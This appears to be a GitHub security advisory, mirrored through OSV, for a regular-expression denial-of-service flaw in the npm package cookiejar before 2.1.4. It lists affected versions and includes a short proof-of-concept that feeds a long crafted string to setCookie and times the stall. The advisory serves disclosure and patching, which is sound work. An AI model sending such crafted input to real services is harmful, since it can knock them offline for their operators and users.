GHSA-h452-7996-h45h

Suggest an improvement
Source
https://github.com/advisories/GHSA-h452-7996-h45h
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/01/GHSA-h452-7996-h45h/GHSA-h452-7996-h45h.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h452-7996-h45h
Aliases
Published
2023-01-18T06:31:03Z
Modified
2023-11-08T04:08:51.518170Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
cookiejar Regular Expression Denial of Service via Cookie.parse function
Details

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

CookieJar.setCookie(): 2963.214399999939ms
Database specific
{
    "nvd_published_at": "2023-01-18T05:15:00Z",
    "github_reviewed_at": "2023-01-23T16:59:52Z",
    "severity": "MODERATE",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-1333"
    ]
}
References

Affected packages

npm / cookiejar

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Maven / org.webjars.npm:cookiejar

Package

Name
org.webjars.npm:cookiejar
View open source insights on deps.dev
Purl
pkg:maven/org.webjars.npm/cookiejar

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
2.1.3

Affected versions

2.*

2.0.6
2.1.0
2.1.1
2.1.2
2.1.3